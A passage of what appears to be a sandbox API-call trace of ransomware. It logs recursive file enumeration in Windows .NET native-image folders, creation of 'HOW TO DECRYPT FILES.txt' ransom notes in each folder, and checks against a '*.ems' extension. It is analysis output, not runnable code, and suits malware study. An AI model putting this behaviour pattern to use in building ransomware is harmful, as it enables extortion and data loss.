hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.718] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd64aa63b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd64aa63b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd64aa63b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.IdentityModel", cAlternateFileName="SYSTEM~1.IDE")) returned 1 [0112.718] lstrcmpA (lpString1=".", lpString2="System.IdentityModel") returned -1 [0112.718] lstrcmpA (lpString1="..", lpString2="System.IdentityModel") returned -1 [0112.718] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.718] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.IdentityModel" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityModel") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityModel" [0112.718] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityModel\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd64aa63b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd64aa63b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd64aa63b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.719] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.719] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd64aa63b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd64aa63b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd64aa63b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.719] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.719] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.719] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd64aa63b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd64aa63b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd64aa63b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9b1d7533105a793af14b7b51cd5443af", cAlternateFileName="9B1D75~1")) returned 1 [0112.719] lstrcmpA (lpString1=".", lpString2="9b1d7533105a793af14b7b51cd5443af") returned -1 [0112.719] lstrcmpA (lpString1="..", lpString2="9b1d7533105a793af14b7b51cd5443af") returned -1 [0112.719] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityModel\\*.*") returned="*.*" [0112.719] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityModel\\", lpString2="9b1d7533105a793af14b7b51cd5443af" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityModel\\9b1d7533105a793af14b7b51cd5443af") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityModel\\9b1d7533105a793af14b7b51cd5443af" [0112.720] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityModel\\9b1d7533105a793af14b7b51cd5443af\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd64aa63b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd64aa63b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd64aa63b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.720] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.720] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd64aa63b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd64aa63b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd64aa63b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.720] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.720] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.720] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd64120b9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd64120b9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd643821a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x160a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.IdentityModel.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.720] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.720] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.IdentityModel.ni.dll") returned -1 [0112.720] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.IdentityModel.ni.dll") returned -1 [0112.720] lstrcmpiA (lpString1="", lpString2="System.IdentityModel.ni.dll") returned -1 [0112.720] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityModel\\9b1d7533105a793af14b7b51cd5443af\\*.*") returned="*.*" [0112.720] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityModel\\9b1d7533105a793af14b7b51cd5443af\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityModel\\9b1d7533105a793af14b7b51cd5443af\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityModel\\9b1d7533105a793af14b7b51cd5443af\\" [0112.720] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityModel\\9b1d7533105a793af14b7b51cd5443af\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityModel\\9b1d7533105a793af14b7b51cd5443af\\") returned="" [0112.720] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityModel\\9b1d7533105a793af14b7b51cd5443af\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityModel\\9b1d7533105a793af14b7b51cd5443af\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityModel\\9b1d7533105a793af14b7b51cd5443af\\HOW TO DECRYPT FILES.txt" [0112.720] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityModel\\9b1d7533105a793af14b7b51cd5443af\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.identitymodel\\9b1d7533105a793af14b7b51cd5443af\\how to decrypt files.txt")) returned 0xffffffff [0112.720] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityModel\\9b1d7533105a793af14b7b51cd5443af\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.identitymodel\\9b1d7533105a793af14b7b51cd5443af\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.725] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.725] CloseHandle (hObject=0x90) returned 1 [0112.725] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityModel\\9b1d7533105a793af14b7b51cd5443af\\", lpString2="System.IdentityModel.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityModel\\9b1d7533105a793af14b7b51cd5443af\\System.IdentityModel.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityModel\\9b1d7533105a793af14b7b51cd5443af\\System.IdentityModel.ni.dll" [0112.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityModel\\9b1d7533105a793af14b7b51cd5443af\\System.IdentityModel.ni.dll", pszSpec="*.ems") returned 0 [0112.726] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd64120b9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd64120b9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd643821a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x160a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.IdentityModel.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.726] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.726] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd64aa63b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd64aa63b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd64aa63b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9b1d7533105a793af14b7b51cd5443af", cAlternateFileName="9B1D75~1")) returned 0 [0112.726] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.726] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x202d1c7c, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x202d1c7c, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x202d1c7c, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.IO.Log", cAlternateFileName="SYSTEM~1.LOG")) returned 1 [0112.726] lstrcmpA (lpString1=".", lpString2="System.IO.Log") returned -1 [0112.726] lstrcmpA (lpString1="..", lpString2="System.IO.Log") returned -1 [0112.726] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.726] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.IO.Log" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IO.Log") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IO.Log" [0112.726] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IO.Log\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x202d1c7c, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x202d1c7c, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x202d1c7c, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.726] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.726] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x202d1c7c, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x202d1c7c, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x202d1c7c, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.727] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.727] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.727] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x202d1c7c, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x202d1c7c, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x202d1c7c, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="85b543fd18ce71c8bc95c49abf8ceb66", cAlternateFileName="85B543~1")) returned 1 [0112.727] lstrcmpA (lpString1=".", lpString2="85b543fd18ce71c8bc95c49abf8ceb66") returned -1 [0112.727] lstrcmpA (lpString1="..", lpString2="85b543fd18ce71c8bc95c49abf8ceb66") returned -1 [0112.727] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IO.Log\\*.*") returned="*.*" [0112.727] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IO.Log\\", lpString2="85b543fd18ce71c8bc95c49abf8ceb66" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IO.Log\\85b543fd18ce71c8bc95c49abf8ceb66") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IO.Log\\85b543fd18ce71c8bc95c49abf8ceb66" [0112.727] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IO.Log\\85b543fd18ce71c8bc95c49abf8ceb66\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x202d1c7c, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x202d1c7c, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x202d1c7c, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.727] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.727] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x202d1c7c, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x202d1c7c, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x202d1c7c, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.727] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.727] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.727] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2025f85b, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2025f85b, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x202859bb, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x8b200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.IO.Log.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.727] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.727] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.IO.Log.ni.dll") returned -1 [0112.727] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.IO.Log.ni.dll") returned -1 [0112.728] lstrcmpiA (lpString1="", lpString2="System.IO.Log.ni.dll") returned -1 [0112.728] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IO.Log\\85b543fd18ce71c8bc95c49abf8ceb66\\*.*") returned="*.*" [0112.728] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IO.Log\\85b543fd18ce71c8bc95c49abf8ceb66\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IO.Log\\85b543fd18ce71c8bc95c49abf8ceb66\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IO.Log\\85b543fd18ce71c8bc95c49abf8ceb66\\" [0112.728] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IO.Log\\85b543fd18ce71c8bc95c49abf8ceb66\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IO.Log\\85b543fd18ce71c8bc95c49abf8ceb66\\") returned="" [0112.728] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IO.Log\\85b543fd18ce71c8bc95c49abf8ceb66\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IO.Log\\85b543fd18ce71c8bc95c49abf8ceb66\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IO.Log\\85b543fd18ce71c8bc95c49abf8ceb66\\HOW TO DECRYPT FILES.txt" [0112.728] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IO.Log\\85b543fd18ce71c8bc95c49abf8ceb66\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.io.log\\85b543fd18ce71c8bc95c49abf8ceb66\\how to decrypt files.txt")) returned 0xffffffff [0112.728] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IO.Log\\85b543fd18ce71c8bc95c49abf8ceb66\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.io.log\\85b543fd18ce71c8bc95c49abf8ceb66\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.730] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.730] CloseHandle (hObject=0x90) returned 1 [0112.730] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IO.Log\\85b543fd18ce71c8bc95c49abf8ceb66\\", lpString2="System.IO.Log.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IO.Log\\85b543fd18ce71c8bc95c49abf8ceb66\\System.IO.Log.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IO.Log\\85b543fd18ce71c8bc95c49abf8ceb66\\System.IO.Log.ni.dll" [0112.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IO.Log\\85b543fd18ce71c8bc95c49abf8ceb66\\System.IO.Log.ni.dll", pszSpec="*.ems") returned 0 [0112.731] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2025f85b, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2025f85b, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x202859bb, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x8b200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.IO.Log.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.731] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.731] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x202d1c7c, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x202d1c7c, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x202d1c7c, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="85b543fd18ce71c8bc95c49abf8ceb66", cAlternateFileName="85B543~1")) returned 0 [0112.731] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.731] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe09a7c4a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe09a7c4a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe09a7c4a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Management", cAlternateFileName="SYSTEM~1.MAN")) returned 1 [0112.731] lstrcmpA (lpString1=".", lpString2="System.Management") returned -1 [0112.731] lstrcmpA (lpString1="..", lpString2="System.Management") returned -1 [0112.731] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.731] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Management" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management" [0112.731] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe09a7c4a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe09a7c4a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe09a7c4a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.732] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.732] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe09a7c4a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe09a7c4a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe09a7c4a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.733] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.733] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.733] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe09a7c4a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe09a7c4a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe09a7c4a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="c44929bde355680c886f8a52f5e22b81", cAlternateFileName="C44929~1")) returned 1 [0112.733] lstrcmpA (lpString1=".", lpString2="c44929bde355680c886f8a52f5e22b81") returned -1 [0112.733] lstrcmpA (lpString1="..", lpString2="c44929bde355680c886f8a52f5e22b81") returned -1 [0112.733] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\*.*") returned="*.*" [0112.733] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\", lpString2="c44929bde355680c886f8a52f5e22b81" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\c44929bde355680c886f8a52f5e22b81") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\c44929bde355680c886f8a52f5e22b81" [0112.733] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\c44929bde355680c886f8a52f5e22b81\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe09a7c4a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe09a7c4a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe09a7c4a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.733] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.733] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe09a7c4a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe09a7c4a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe09a7c4a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.733] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.733] lstrcmpA (lpString1="..", 